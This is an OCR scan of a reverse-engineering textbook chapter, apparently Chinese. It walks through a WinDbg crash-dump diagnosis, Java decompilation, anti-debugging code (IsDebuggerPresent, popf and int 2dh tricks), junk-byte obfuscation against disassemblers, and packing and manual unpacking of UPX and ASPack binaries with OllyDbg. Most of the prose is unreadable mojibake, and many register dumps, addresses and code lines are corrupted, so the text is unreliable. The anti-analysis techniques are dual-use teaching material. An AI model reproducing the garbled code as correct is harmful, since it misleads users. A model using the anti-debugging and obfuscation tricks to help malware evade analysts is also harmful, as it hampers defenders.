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Loading Dump File [C:~Document=s= and Settings~All UserstApplication DataMicro=zoft~Dr
T=zer Mini Dump File: Only registers, =stack and portions of memory are available

Comment : 'Dr. Wat=zon generated MiniDump'

Symbol =earch path is: SEV#c ~websymbols*http:-rm=d]l microsoft  comsdownload-synbols
Executable =earch path i=s:

Windows P Ver=sion 2600 (Service Pack 3) UFP Free =86 compatible

FProduct: WinHt, =uite: Singlel=zexrTS

Hachine Hame:

Lebug se=s=zion time: Wed Jul 4 07:33:45.000 2012 (GHT+9)

Sy=tem Uptime: not awvailable

Frocess Uptime: 0 day= 0:00:05.000

Thi=z dump file ha= an exception of interest stored in 1t.

The stored ezception information can be accessed via . ecxr.

(f64.bdc): Access wiolation — code 0000005 (first-=second chance not available)
2ax=00000000 =bx=00000000 ecz=7cY94f6hl edzx=00000041 e=i=00000001 =di=0012f958

2ip=00000000 e=sp=0012f8=8 ebp=0012f8f0 iopl=0 nv up i pl =r na pe nc
c==001b ===0023 d==0023 e==0023 f==003b g==0000 =f1=0000024¢
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™ Calls - Dump C:¥Documents and Settings¥ All Users¥Application Data¥Microsoft¥Dr Wa'r:'l-.

Raw arez |Func info Source Addrs  Headinez Morwolatile rees Frame nums  Source ares More  Less

WARNIHNG: Frame IP not in anv known module. Following frames mav be wrong.
00401290 0012f91c 77cf£8734 O=0

000b0144 00000111 quite=st2+0x12d0

00401290 000b0O144 00000111 useri?!lInternalCal lWinProc+0=z28
Qoooooon 00401290 000B0144 u=erid? | UserCallllgProcCheckVow+0xldn
oooooooo oooo00111 00000001 u=ser3d2!DefDlgProcWorker+0=al
Q00b0144 00000111 00000001 user32!|DefDlgProcW+0x22

77d03d3a 000bO144 00000111 u=erid?lInternalCallWinProc+0xZa
goooooon ?7d403d3a 000b0144 user3dl|UserCallWinProcCheckWow+0x150
00ealffd 00ee0d4dS 00000001 u=seri?!SendMesszageWorker+0z4ab
Q00b0O144 00000111 00000001 u=seri3?!|SendiHesszageW+0=7{

O0caz340 00000000 006azidl u=erid?lszzxButtonHotifyParent+0xd1
00165=7c 00000001 OQOOO0O0000 u=ser3i?lz=zzBHNReleaseCapture+0=fd
00eaz2340 00000202 00000000 u=merd!ButtonWndProcWorker+0=xedf
Q005020 00000202 00000000 u=merd?!ButtonlndProcl+0xdc

77d051d1l 0005020c 00000202 u=erd?lInternalCallWinProc+0x28
goooooon 77405141 00050200 userd2 | UserCallWinProcCheckWow+0x150
0012fcfd 00000000 0012fcdc useri?lDispatchMesszageWorker+0=x306
001z2fcfd 00000000 006alff8 u=merld?|DizpatchleszzageW+0xf

000b0144 00Raz3d40 001e0l152 u=erid?lI=DialogHessageW+0x572
000b0144 001e=e0152 00000001 user3d?!DialogBox2+0xl44
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& Dizassembly - Dump G:¥Documents and Settines¥All Users¥Application Data¥Hicrosuft?ﬁ |E|&|

Previous Mext

Offzet: |@%=copeip

Ho prior disassembly possible

gooooool @y

gooooonz e TR
goooooos ?? R
gooooond @ Y
gooooons @?r s
oooooode ?? Y
ooooooa? R
gooooong '
goooooog ?? s
ooooooda ?? TR
goooooob ?? R
0oo0000= 7 s
gooooood ?r s
oooooode 7 Y
ooooooos @ R
goooooio P
goooooll @ s
gooooolz @ Y
oooogols e R
gooooold @ s
ooooools @ s
oooooole @7 Y
noooooi? ¢ Y

A Disassembly 7 I
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00000000, KULIAE R ER—HEN 5, XtRpne<H TREEE, 25
R E] T 00000000 iX AN HHE”
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B4

v B4R

0012f8f0 77cf8734 000b0144 00000111 00Vl guitest2+0x12dO

WifiiX—47, W& — 1 Disassembly & I, XN 2x Bt
guitest2+0x12d0 Hihikf) P 25



v B4R

004012b7 6844214000 push offset guitest2+0x2144 (00402144)
004012bc 1500204000 call dword ptr [guitest2+0x2000

(00402000) ]

004012c2 6860214000 push offset guitest2+0x2160 (0©0402160)
004012c7 50 push eax

004012c8 1504204000 call dword ptr [guitest2+0x2004
(00402004) ]

004012ce ffdo call eax

004012d0 8b4des mov ecx,dword ptr [ebp+8] i&f7iFib4b
004012d3 0fb7c6 movzx eax,si

S HT S A2 004012d0, FRATE — FHT— 25164 call eax, 1% Alt+4
UL F A4 NE .

eax 2r 17 AsE AR 2 00000000, A2, 004012ce [f]iX %% call eax
84 T 00000000 iXANHhE, FBRIX S S KA R R K

Hiik 004012c8 A HAT T — 2% call 84, H TR [FHH S IEIUAE eax
i, DR ERAT T AT DAAED,  eax F) 00000000 42 MIX B KK .

M2, XBEPHP A A mEe? #% Ale+5 4T Memory (NAF) T
[, {E&7~ Virtual HIHE 5 Hi A\ “00402004”

v BT

Virtual: 00402004

Huhl 00402004 F1E N 04 24 00 00 (=00002404)
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00400000+2404=00402404, X2 5o H 8 H R L #k, B
GetProcAddress.

v 17~

Virtual: 00402404
00402404 45 02 47 65 74 50 72 6f 63 41 64 64 72 65 73 73 00 00

G e t P r oc A d d r e s s

AR RN, AL ] DUE — R Hidik 004012bc AT call ) eR E2 4+
Ao

\ S RN |

Virtual: 00402000
00402000 T4 23 00 00 04 24 00 00 00 28 00 00 ea 27 00 00 da 27

v BT~

Virtual: 0040234

004023f4 3f 03 4c 6f 61 64 4c 69 62 72 61 72 79 57 00 00 45 02
L oadl ib r ary W

% N OREATIAE Memory & H RN — R HIX LR LIS S5, I
FEFATRT LURERIA (1 S I A QRS B 1R 2 1 A 3




004012b7 6844214000 push "kernel3l.dl1l"
004012bc 11500204000 call LoadLibraryW
004012c2 6860214000 push "GetCurrentProcessId”

004012c7 50 push  eax

004012c8 11504204000 call GetProcAddress

004012ce ffdo call eax

004012d0 8b4des mov ecx,dword ptr [ebp+8] IzfT{FibAb
004012d3 0fb7c6 movzx eax,si

DIAEFERKER S 7, mHEAIB LK T bug R H .

LoadLibraryW pA%0 IS 40N kernel31.dll, {HSZFR ERGEHEA
kernel31.dll iX/™ DLL S0, [Xtt LoadLibraryW pf %21 F 9

Pl iX HAE IR %A F i, {H)S T ) GetProcAddress BR #0218 FH 20,
S5, RIH) GetProcAddress PREGR [E] 1 00000000, F7& call eax Hyf it
e 2 S |

A feA N2 A X AR 7 JE SR A T LoadLibraryW B [RIE il 25485 4b
F, 1 B JERE ANSJE kernel31.dll X AL iR . X PMEF R 2R
FET, B POE KRE KB E

& BRI MRl SR, AT AT DL S 2 R SR AME R I TR
RIFREATZIE .
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A /YA devkitPro B AT IR 22 5 XK I A 25 i AL A 52 4f
o ABNTRAT T AR E TP AL XA P2 SBT3 %
BRI L ERE —F

e devkitPro

http://devkitpro.org/

Lk oA Java gw S 1N AR

Java B K &2 “Write once, run anywhere”, BIAMK##AE R 4t
AR, 'S — AR AT DAFE &M & BisfT. 7Sl — B
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(decompiler) -
e Java X2 i¥ a4y
http://java.decompiler.free.fr/

FHEE x86 {L4miE 5 KU, Java 1500 5H 5 5518 R BARAS,  AH NI
S mas B HILELA « Eclipse 4 I gmtdif, FR 7 #AF2 T PA
b, EHIRZEE SRS,

& Java Decompiler — dentakud.class

File Edit HMavigate 3Search Help
Z ®4 e
TR x ¥
E]m dentakud.class ¥
- @ dentakud
..... & errDispiString) : void w|import Java.io.Printitream; il
e @8 maintStrine ) : woid
[ id-eui-0.3 5 windows.zip class dentakud
w1 jd-evicte { 3
o) jd-euisxe public static woid msin(String[] args)
{
4 int wall = 0; =
] int walZ = 0:
=] if (args.lemgth !'= 3] {
10 errDisp (g [BIIE0.AEETE)
!
try
{
14 wall = Integer.parselntiarga[0]):
15 wal? = Integer.parselntiargs[2])1:
} catch (MumberFormatException e) {
e errDisp|"HIETIENEHA")
!
20 String ope = argsa[l]: b
A I ] L=

A class U1 I 2 45
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2.2 AT By R B N A

221 RAKEA

ST R I AR A BA T K TR 28R, BB kA 2 J5 3K
IATARK AP M NZE . MH, B—SMEEM R, 5 M
28R, AR AR O BRI NS T T, B MRS A T RE
AMELAGER T o

BB ZH AT CLRT 1B A4 e TR, T AT KRE L LA
B — PR R F R /2 IsDebuggerPresent.

IsDebuggerPresent »& —FHBE A5 A Ml A& A 4k 1KA1Y APT pRi3l, @
R EMER 59 0 A LA il a8 B E0IRES o

rzt:

#include <Windows.h>
#include <stdio.h>

int main()
{
if(IsDebuggerPresent()){
// RS FisfT
printf("on debugger\n");
}else{
/1 RIS LAY
printf("not on debugger\n");
}
getchar();
return 0;

WERA BAETT KN T, XN EAE KA Ja i b gemsig, X —REdE
WAR . AR CLEETT AN H ifdef B VR R BT IS 475
IsDebuggerPresent HJ I, 7ERAGNR S H, ARk 2 N oo



REF7 I Z 5 .

Bt 2 Ak Foft — 2828 {LLKT APT eRi, 4
CheckRemoteDebuggerPresent.

_In_

)5

BOOL WINAPI CheckRemoteDebuggerPresent(

HANDLE hProcess,

_Inout_ PBOOL pbDebuggerPresent

LR Al iR kA% 1 & v

% 1 APT BRARLASL, 384T 1R 22 oAt SR A BRG] T A 1 1k 4
HAPGREZEARAE, FHRBITREHEANLE ],

55 popf A SINGLE_STEP 3 KA MR 28 0 5. 4
REMEN 0 BONIES, N1 MRIRFERL 7R Es . AR &4
LR, KREpEEEL?

{

ok:

error:

__declspec(naked) int _ stdcall antidebuggeril(void)

__asm{

pushad

push ok

push dword ptr fs:[0]

mov dword ptr fs:[@], esp
mov buff, esp

push 100h Hlpush¥100h A\ #
popf i pop#¥i100hHi i £ kx &
jmp error

mov esp, buff

pop dword ptr fs:[9]
add esp, 4

popad

Xor eax, eax

ret




mov esp, buff

pop dword ptr fs:[0]
add esp, 4

popad

Xor eax, eax

inc eax

ret

B — R 51, F)2 int 2dh.

__declspec(naked) int _ stdcall antidebugger2(void)

{
__asm{

pushad
push ok
push dword ptr fs:[0]
mov dword ptr fs:[0], esp
mov buff, esp
Xor eax, eax
int 2dh #4Tint 2dh
jmp error

ok:
mov esp, buff
pop dword ptr fs:[9]
add esp, 4
popad
Xor eax, eax
ret

error:

mov esp, buff

pop dword ptr fs:[0]
add esp, 4

popad

Xor eax, eax

inc eax

ret
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TEILB T BEARAE [ R EVEA A F R QRS () B SR, (AR X B3R
IR L, ARG SR, Al L _E P45 5% “anti- debug

popf” fl“anti-debug int2d”iX
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& [E] 0 I,

R A 1R TR

XA B A]

A T AR VR SR Bl 1k 70

PR R ESEAR G2 BRI g a3 AT ERS b, FRE
A2 &% (FaniE H IsDebuggerPresent 377 ) , HtnJ LLEE 5 fik

o

00401000
00401006
00401008
0040100A
0040100F
00401015
00401018
0040101E
00401020
00401021
00401021
00401026
0040102C
0040102F
00401035
00401037

call
test
jz
push
call
add
call
xor
retn

00401000 main proc near

ds: _imp__ IsDebuggerPresent@ 5
eax, eax

short loc_401021
offset aOnDebugger ;
ds: imp_ printf
esp, 4
ds:__imp__getchar
eax, eax

"on debugger\n"

loc_401021:

push
call
add
call
xor
retn

offset aNotOnDebugger ;
ds: __imp__printf

esp, 4
ds:__imp__getchar

eax, eax

"not on debugger\n"

HIMERE A 7 iR EE S iAok, 18 IDA AR RS PLE

T AT IR LAY

o =0k, MRS MR IRl TR S, th— ﬁ %&ﬂﬁ%ﬁﬁ




Leypek e

W2, AR LA AT WE ? 4T — MO VAR IR IR, A% B3,
Bl b A XE LA T .

N HEBEADRE — MR BT

] H IsDebuggerPresent [F]ih4), HAL#s1E 5 AN FF 15 00 20 40 00 85
C0 7417 (B1LE]jz 584 .

00401000 main proc near

00401000 FF 15 00 20 40 00 call ds: imp_ IsDebuggerPresent@o
00401006 85 CO test eax, eax

00401008 74 17 jz short loc_401021

XHE, WRRMERTEEI—A EB, HIAFAL EB FF 15 00 20 40 00 85
CO 74 17, 7£ IDA H 7~ H AT pt 228 1T THIX A

00401000 main:

00401000 EB FF jmp  short near ptr main+l
00401002 15 00 20 40 00 adc  eax, offset _ imp
IsDebuggerPresent@o

00401007 85 CO test eax, eax

00401009 74 17 jz short loc_401022

AT LLES], XBERFESAER T jmp. ade. test. jz, 1M call $§47H
KT, IR BNLASE S FISLhRI) e 2 KA, BN EB FF AH2
FraarBkd 1 A1, W R B 2] 00401001,

1M 00401001 J& T ML 285 = 1094 FF 15 00 20 40 00 85 C0 74 17, iX
BARIS S 9m 2 J5 15 3 )8 2 7 call. test. jz, KU call fKIRRENS IE &



PAT
X B SS5 S AE T 00401001 4bFK FE, & ] LSRRI jmp 782 10—
45, WRILLYE G call #4820 —3 4. 11 IDA 2 M BT 5 120 2t
1T RICS, R E s AR A b B8 2 A1 SEBRHUAT FIARES AN A .
IXFE AR R NTRIE -
LR ARG IR AH 5% 15 i
To Ve A& A I A T AT, 1 ) AR B i AR 2 FH IR K1 5
g RTARIESIRBE R W MNR TG T, W EWAm TIRZH
R S

¢ Obfuscation of executable code to improve resistance to static
disassembly.

http://www.cs.arizona.edu/solar/papers/CCS2003.pdf
¢ Binary Obfuscation Using Signals.

https://www.cs.arizona.edu/solar/papers/obf-signal.pdf

RGN RS A 3 M R e 18R N Bt B ot (tamper
resistance) , IXANMYPR T EAA0IE, A0 AR AR At AE SR AT A O

=3

7o
“dnfafr BA5 B %4
“ERERI B RE N SEI m Pt B e R G

XEEH TR 2 e U B R A BME Bt &
el R BAR B 2 e — R TR R 1)

2.2.3 S0 PAT SO AT K 4

R T s RE AL, e R B o TR, e,
AR BENE RS T PAT SO REAT e 4, R4 5 19 B SCAHR AR T DLE 32
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X E4E T EMRNIT 88 (packer) , A 40— F AT A8 nU/E
UPX, E&FER, 7 ELF. DLL. COFF Z £ fn] $#UT 308 .
e UPX

http://upx.sourceforge.net/

TR R B AR fa L, WU RE A m] AT ST AR AN A 2547 1
A8, ORJECRHR A P AR B INEE R T, 38 AT WIS S K R AR 1Y) R AT
BelE g ok, AR e FHEAT IR 4e Ja 10 8dE . UPX 1324tk 2 i
It

WA LTS H R R4, TR R R (ks TR . il
JUERTHANATI0 P2P SO 43 S A 31 Winny? sfd ) 7 — b £2
ASPack HJFTEL2% .

2 Winny FA F R7E A ARAT, FERMERY, 924 1R2 E N 0734 Winny A H A $E
s AR P TE

e ASPack

http://www.aspack.com/

MILPERT B, Winny FIE(E NS SSRGS 7 2R E R, Bty
fEH] 7T A RAE v SOl (B IR M TR FBL.

BeAh, DRI as A EARR &0 1R m TR ThRE, IR 2B
BAFEE I e, HEROu IR a8 7 570 A i 18 PR s
(B R B 5 RFHIERS) o

> IT RS BEEAE 2 KRR Lm0 A A MR 2

fEIT A R T IAEE e w2 AW ? N LB AR SE bR ie —
e

B\, FAwmE PR (JREACHESALT chap02\packed\packed) -


http://upx.sourceforge.net/
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Vv packed.cpp

#include <Windows.h>
#include <stdio.h>
int main(int argc, char *argv[])
{
if(argc < 2){
fprintf(stderr, "$packed.exe <password>\n");
return 1;
}
if(IsDebuggerPresent()){
// RS FisfT
printf("on debugger\n");
return -1;
}else{
/7 RIS LAY
if(strcmp(argv[1l], "xxxxxxxxx") == 0){
printf("correct!\n");
}else{
printf("auth error\n");
return -1;
}
}
getchar();
return 0;
}
AR AR T8 5

46 'E 2 ] IsDebuggerPresent £ 11 1R 2% /& 5 A7 1E

IRJE, R AR FAL I SN xxxxxxxxx XN AP, SR
correct!, {5 E 7~ auth error.

A X B AR, SR JE ) IDA KE— T

Vv packed.exe




00401000 main
00401000 arg o
00401000 arg_4

00401000
00401001
00401003
00401007
00401009
0040100E
00401014
00401017
00401018
0040101E
00401021
00401026
00401027
00401028
00401028
0040102E
00401030
00401032
00401037
0040103D
00401040
00401043
00401044
00401045
00401045
00401048
0040104B
00401050
00401050
00401052
00401054
00401056
00401058
0040105A
0040105D
00401060
00401062
00401065
00401068
0040106A
0040106C
0040106C
0040106E
00401070

proc near
= dword ptr 8
= dword ptr 0Ch
push ebp
mov ebp, esp
cmp [ebp+arg 0], 2
jge short loc_401028
push offset "$packed.exe <password>\n"
call ds: imp_ iob_func
add eax, 40h
push eax ; FILE *
call ds: imp_ fprintf
add esp, 8
mov eax, 1
pop ebp
retn
loc_401028:
call ds:__imp__IsDebuggerPresent@o
test eax, eax
jz short loc_ 401045
push offset aOnDebugger ; "on debugger\n
call ds:__imp__printf
add esp, 4
or eax, OFFFFFFFFh
pop ebp
retn
loc_401045:
mov eax, [ebp+arg 4]
mov eax, [eax+4]
mov ecx, offset aXxxxxxxx ; "XXXXXXXX"
loc_401050:
mov dl, [eax]
cmp dl, [ecx]
jnz short loc_401070
test dl, dl
jz short loc_40106C
mov dl, [eax+1]
cmp dl, [ecx+1]
jnz short loc_401070
add eax, 2
add ecx, 2
test dl, dl
jnz short loc_401050
loc_40106C:
xor eax, eax
jmp short loc_401075
loc_401070:




00401070 sbb eax, eax
00401072 sbb

00401075 loc_401075:

00401075 test eax, eax
00401077 jnz

00401079 push

0040107E call

00401084 add esp, 4
00401087 call

0040108D xor eax, eax
0040108F pop ebp
00401090 retn

00401091 loc_401091:

00401091 push

00401096 call

0040109C add esp, 4
0040109F or

004010A2 pop ebp
004010A3 retn

eax, OFFFFFFFFh

short loc 401091
offset aCorrect ; "correct!\n"
ds:__imp__ printf

ds: imp_ getchar

offset aAuthError ; "auth error\n"
ds:__imp__ printf

eax, OFFFFFFFFh

THRHE— T RICH 5 A,

RS I IR Ny SR ek = D W

MRS TR S, USRI A, AR R EAA L T
Ko REFZANRRKGE I TIZBRE 7L BE R 5 [HIWe ?

NHEATH UPX #7405,

v BT

C:\upx308w>upx.exe packed.exe
A
File size
7168 -> 5120
Packed 1 file.

71.43%

win32/pe packed.exe




BATH packed.exe 1F NS HUEE4T upx.exe, R/ packed.exe 478 o5 N
225 UPX JE45 5 i Sc A

TN IDA ITHEE .

Graph overvie (%]

)

A T 51 packed.exe 1



E DA View-A

loc_407430:

adc ecx, ecx
inz short loc_407454
. |
¥ L 2K ]
[EHLL [ENLL
|inc ecx
loc_407AC4:
mos eax, Ledi]
or eax, eax
iz short loc_407B06

L I e

v
[EH Ll ENLL
Moy ebx, [edi+d]
lea eax, [eaxtesi+T1B8k] loc_407435:
add ebix, esi add ebi, ebx
push eax inz short loc_407440

A [=Tal]
100.00% (7802309 | (BE3165) | 00000DCO | O04079C0: start

A fTH 511 packed.exe 2
ALK, BINMREFEEEAE T
F it gm i as 1 nl $47 SC4F, AT IEIEFR 2 correct! . auth error

BT AR A R IEAR R A B Ok, X IR IT A A
8 915 11398 ] A P D5 A

2.2.4 RS RO AT PAT SOOI 4 AR
“BESRNA RAR TR, A0t —& A ik 4e 0 THIm? »

REAKIEH T ZREEEMN . #7048 0 n] AT SO 4
) LT EFCAMAES (unpacker) .

— kU, FIESS AR ER RS B A B ULECHT, a0 ASPack FrIfEEL
P OUPX MRS, IFE—42, UPX HSoE A LI IRMas, HAH
B b -d S WU Al AT AR T

fr 7 UPX Z4t, VAR IEIS R TRy H 4T ds, 8% AR5 B T
s, ik, ZREMOREEE DEAETIEM, B ] DU RS
= iR E TR,

P <Talf >, Bias 83 w2 A A% AT B g 4% R m] 04T SCAF
I AaRZ A, PRI T N AF R IR s 28 Ja 1 AT AT Bl = B SCPE Y



#AE,

29K, BERT SRR g SR R, A R R AR A B AR T B AR
a2 Lk A AL AT SN RE . 378 s MU OB F A filig 7 R 2 R
Hit o

H1F UPX FFAE K BN H T s, e R 200k -d 10
AT — IR AT AR T

\ S RN

C:\upx308w>upx.exe -d packed.exe
=)
File size Ratio Format Name
7168 <- 5120 71.43% win32/pe packed.exe
Unpacked 1 file.

JOETRIE IR B —#¢, H2DIAERANTAT LU IDA K317 24
I

2.2.5 B TFEMEA UPX SREMH T/EFH

A, FATEE S B S g R AR T AR R B, PR N i IRATToR =
R— N T aH UPX K4 R

ANFE AT R ARG S 2 AN R ), UPX 2 —MraEs fl L0047 a s,
PRI 7 & R R GRS R . T RATT = — N0 H UPX TR
packed.exe #1T Tl L.

B4, AT OllyDbg 171 packed.exe. Xk FAE F—NAUAE
OllyDump 1] OllyDbg #fiff, 15 K% OllyDump.dll & il %]
OLLYDBG.EXE FifEfIH T, XFEFRA TS LA OllyDump 4
I



e OllyDump
http://www.openrce.org/downloads/details/108/OllyDump

v B4R

004079C0 > $ 60 PUSHAD
004079C1 . BE 00704000 MOV ESI,packed.00407000
004079C6 . 8DBE OOAOFFFF LEA EDI,DWORD PTR DS:[ESI+FFFFAQ00Q]

H OllyDbg 1 H 2 J&, FAIHKE— FH kK pushad 54 . pushad F§4
FIThRE AR T A A2 FMERUE (BHD 2k, AT HBEAE T AE
XHEA, dodi F8 #kaiatT. IXBAAH LM, Alidi F8 817 F&minl
LT .

7L — BN A F8 2 )5, AT KBRS BN T — MBI

\ AT

004079D06 > 8A06 MOV AL,BYTE PTR DS:[ESI]
004079D2 . 46 INC ESI

004079D3 . 8807 MOV BYTE PTR DS:[EDI],AL
004079D5 . 47 INC EDI

004079D6 > 01DB ADD EBX,EBX

004079D8 . 75 07 JINZ SHORT packed.004079E1
004079DA > 8B1E MOV EBX,DWORD PTR DS:[ESI]
004079DC . 83EE FC SUB ESI,-4

004079DF . 11DB ADC EBX,EBX

004079E1 >~72 ED JB SHORT packed.©04079D0

EX BRI NS, TAMFAE— N RIHZE, SxIXEE
M esi FIHHE ] edi FHbE SR S0 s . AWERIFHFR, B edi #3ahk AT PA



http://www.openrce.org/downloads/details/108/OllyDump

E W, X H 2 M 00401000 HEZF AT EHI0

A 194 F8 4k sizdT, W% F8 KR, n IR EE —HIN &
2 popad 54, AREEX B E —/ W&, % F9 1217 2 W A Az
H.

v B4R

00407B66 . 61 POPAD

00407B67 . 8D4424 80 LEA EAX,DWORD PTR SS:[ESP-80]
00407B6B > 6A 00 PUSH ©

00407B6D . 39C4 CMP ESP,EAX

00407B6F 75 FA JNZ SHORT packed.00407B6B
00407B71 . 83EC 80 SUB ESP,-80

00407B74 .-E9 C897FFFF IJMP packed.00401341

BATAT LLE # popad FIIANZEAL, 7F 00407B74 H—A> jmp 84>, % F8
FUPIEATE] jmp fa 2RI, 2Bk F] 00401341 Ab—%% call 54
.

v BfT45 R

00401341 E8 83040000 CALL packed.004017C9
00401346 "E9 B3FDFFFF JMP packed.004010FE

7£ 00401341 XM B, AT OllyDump, i OllyDbg 3% A 1]
Plug-in — OllyDump — Dump debugged process.



OllyDump — packed.exe @

Start Address: |4EIEIEIEIEI Size; IE":":":'
E iy Paint: |?‘EED > Modiy: |1341 GetEIP asOEP | Cancel |

Baze of Code; I?':":":I Eaze of Data; IBEH:":I

v Fix Faw Size & Offzet of Durmp Image

Section | Wirtual Size | irtual Offzet | Faw Size | Faw Offzet | Charactaristic: |
IF=0 0000B000 Q0001 ooo Q000s00O Q0001 ooo EQ000030
R 00007000 Q00ayoo0 Q0001 ooo Q00oyooo EQ000040
rarc 00001000 Q0008000 00001 ooo ] COoooo40

¥ Rebuild Impart
™ Method] : Search JMPJ&EPI] | CALLIAP] in memorny image
= EMEthDd__z_ : Search DLL & AP name string in dumped fils

A ] OllyDump 5 N A7 FF (1) m] S04 Eicdhs 5% fits 2150 1

FEXTEHE R T [ ) Rebuild Import H1176# Method2, At T fx B BAIA
S

PRI E T L7 Dump #2480, AAE AR B R T RO B R ik 2
A

XAFEATL7E N T AR A

PAEFRATT T LA OllyDbg 1, ANid I KK 2E—HR 00401000 LLjG
FIARTS, B R AN R e 1) HIR 2



011¥Dbg — upzpacked. exe — [CPO — main thread, module upzpackel

Flle View Debug Pluglns Dptluns Window Help

III
= L|E W[ H|C E|B|R|. =
BE4E 1 BEA FUSH EEP
BE4E]1EE]1 SE!EI: Moy EBF,ESP
GE4E1EE3) 8370 B8 82 CHP DWORD PTR SS5: [EEF+2], 2
BE4E1687 (70 1F JGE SHORT upHpacke.BB481828
HE4E1EET) &3 F4Z04880 PUSH uprpacke. 804820F4 ASCII "4packed.edes <password:@"
BE4E1IEEE| FF1E ASZB4888 CALL DOWORD PTFR DS: [48Z2BAS] MSUCR188.__p_ iob
FE4E1IELS | B3CA 4@ AOD EAX, 48
BE4EIALT( S8 FUSH ERX
FR4E1E1S] FF1E ABZB4888 CALL OWORD PTR DS:[4828AA1] MSUCR188. fprintf
EE4E1IEIE| 23C4 @S AOO ESF, 2
GE4A1E21 [ BE Alo6E88a MO ERH, 1
Goaniocr| o3 RETN
BE4E1IEZE] FFL1E DBzZB4a88 CALL DOWORD FPTR DS: [48Z2B066] kernel32. Is0ebuggerPresent
BE4EIEZE( B5CA TEST ERH,ER=
BE4AIESA (74 13 JE SHORT wpHpacke. @848 1645
FR4A1IEZ2) &2 ACZ214888 FUSH upsxpacke. 88482160 ASCII "on debugger@™
FE4E1EST ) FF1E A4284888 CALL DOWORD PTR DS: [4826A41] MSUCR18E. print f
GE4E1E20 23C4 A4 AOO ESF, 4
BE4E1848( 83C3 FF OF EAH, FFFFFFFF
BE4E1E43( S0 FOF EBF
BE4E1E44( C3 RETH
BE4E1E45( BB45 BC MOl EAX,OWORD FTR S5: [EEF+C]
FE4A1E4S | SB4E BAd MO EAX, DWORD FTR DS: [EAR+4]
FR4A1E4E| BY 1C214888 MOL ECH,upkpacke. 8848211C ASCII "unpacking™
EE4EIEEE| 2A1E Moy oOL,BYTE FTR OS:L[ERX]
BE4E1852( 3A11 CHF OL,EBYTE PTR DO5:L[ECH]
BE4E1654 (75 1A JME SHORT upxpacke.B88481678

A UPX fif 548 2 J5 A%

A, 1 RFEH IDA FTH S HER X, 2R )EF— Tk 00401000 LA
JE RS, ROZAIRA TR A 9 5 RIS — R —FE

A4, FATH OllyDbg #1 OllyDump F|JEA# 144 Ve ?

2

FRIRTE ., BT 200 T .46 10 I8 /AL 42 OllyDbg
L@“,MFhmEﬁﬁWﬁ¢MT%ﬁﬁ%ﬁownmm%%ﬁzﬁ
W, sz, FFSkH) pushad Al 5 ) popad H IR] A2 #E 5 A2& TR IR 45
HIRERF o

HARREL, AEIBATMRISAERE P A, Skt =2 A0 & A7 2 RS IR A7 2 Ak
T, MR R R AT IR R A IRGS . XK, TR
ERRE 2] 7 Is T RIS A RE e Z AT RPIRES, (8 IERIs AT R 48 2 5 1Y)
FAE AR AN

REBAAHIS, ERER T EAA X RE, b€ S ERR
R RAR R4, RS VI BB E R . BILTTLABE, iRty ik
P TR PR IS AR AR R (A2 ED 7.

2.2.6 PG S % ASPack H3E4T il



A 7 UPX HI&5%:, FrFA1kPkiE—~ ASPack HIfiEEl. ASPack HJ4
R NI b

| 3 smms AR AR, T 30 K G HRPING. — I
e ASPack Software

http://www.aspack.com/

% ASPack 2.28

Wind2 EXE. DLL compreszor

UNREGISTERED

Yersion 228 2ll:dayz

Open File | Enmpressl Dptiu:unsl About I Help I

File infarmnatiarn

File name

File size [before compreszion]

Higtary

A 53 ASPack

X+ ASPack WIfEt, FEARTTVEM 2R 2IAN pushad A5 X} B H) popad. A
ANk, EIRBIAEXT N F popad FEH RIXE,  PRIGTRATT 75 2450 FH <A 44 1By
R

A2, AR T e AN FRATT H TR Sk i) W s A4 X ] e 2

Hs, FRAT AT BRI WY &, HERR I U 1% IYAE “ 3R A5 T 4507

SR b, B W R EAR AT B, AT T AR T R AL B 4R 2
GRS 0xCC (int3h) . ALPEEEFIEF] 0xCC 452, ST HIE RS R


http://www.aspack.com/

HAGE gy, Rk, R EEREMES A 0xCC, #t Al IR
I 1B RIS B P TR P38 47

Wz, B R B A — I H e ? FIEAF I —FE, S PF T St a] DL
TR 7 i AT I R A R R T, EE IR ARIEIE 0xCC 54 ok 5B,
M2l B5 N arfiay (DR #A74s) REHLH.

seah, AW AN RS AR AR E R AL B P IR P s AT, ] DKl — 1k
SORBY W, Blhne A i IS N BRI b =2 R e ik
Bpai] i s . Bergihil, AEE T A LU BRI R D RE B g R Lk

“BEIRARLE, AT AR P A AF W ANl 7 2 DA A SR T
g2

BAR T, UOSREEW BE A R A b s 1 B B R e PR Al
f, (ERER A R BE E 4 > (RO SS Rt 1 4 NI
5D, BRI EATTIE & B

AT AR BT fE b, &3] 0xCC I RE A s I L, — s
i AR5 2

5 LR IR, T LA 1 O AE S MR AL R T AT R, £ A R e PR
I LA B A AR A PR

H1 OllyDbg 4T JFH ASPack T H A $AT 3CA/F, SRR HE2

v BfT45 R

00406001 > 60 PUSHAD
00406002 E8 03000000 CALL packerpa.0040600A
00406007 -E9 EBO45D45 JMP 459D64F7

AT —BHMA TR, B3 —1 POPAD, HEXHLKET, A
ﬂuﬁmmwmﬂm&§~4@#%ﬁo%E%M%,m%%@%%



JEF T ASLR® “Z24WL], HP4ix /bl o] 84 & 00401000, 7EiXFE
HIE T it R geaeafeth § 2254k POPAD [ .

5 T ASLR K755 3 2 HEATA R, PR

ERIC 9w 1% N Cul+G, 7853 H B 15 HE F % A 004010007, 31X Hf
4% % P2 R 3 00401000 LLJG 1354

v BT8R

00401000 10 DB 10
00401001 4B DB 4B
00401002 34 DB 34

T A PATEIEIE B 0, IR X e 8 2 Tk T BRI i
FET RIATAE 00401000 Ak B —MELEWT AL, #2455 - Breakpoint —

Hardware, on execution.



011¥Dbg — aspackpacked. exe — [CPT — main thread, module aspackpal

Eile Yiew Debuz Flugins Options Yindew Help

B x| Em ﬂﬂm%ﬂﬁ 2 LiemT|winH|c[/|k[B|R|.|[s| 2]

Doagtagt| 48 Dt 4 !
GE4B1ER2| 24 DE 24 Baclup 4 = R
BE4BlEEs| Bl DE Bl Co » =1 e
e o g 7 ”
1 »

o & 1 . =
o 2 -z e e
2 e o e =
e e 22 e ' i
Boipiagr| o3 D 25 o : Ae
seola0 & e 5 A ot .
SS:S{S%% ?g BE Tg Hit trace 4 Conditional Shi f1+FZ
AR4RIATA 0 OB £n0 Run trace L4 Conditional log Shift+F4 ]
BE4a1815 12 DB 1= Bun to zelection F4 '
SSZS%S%% 23 BE g; Hew origin here CtrltGray # i ;
smady & 5 I o 1 oy, o scess ;
ggigigig %E BE %E Follow in Dump 4 Memory, on write :
aa4a1aic =38 OB &1 1
SS;S%S%E EE BE EE Search for 4 Hardware, on execution !
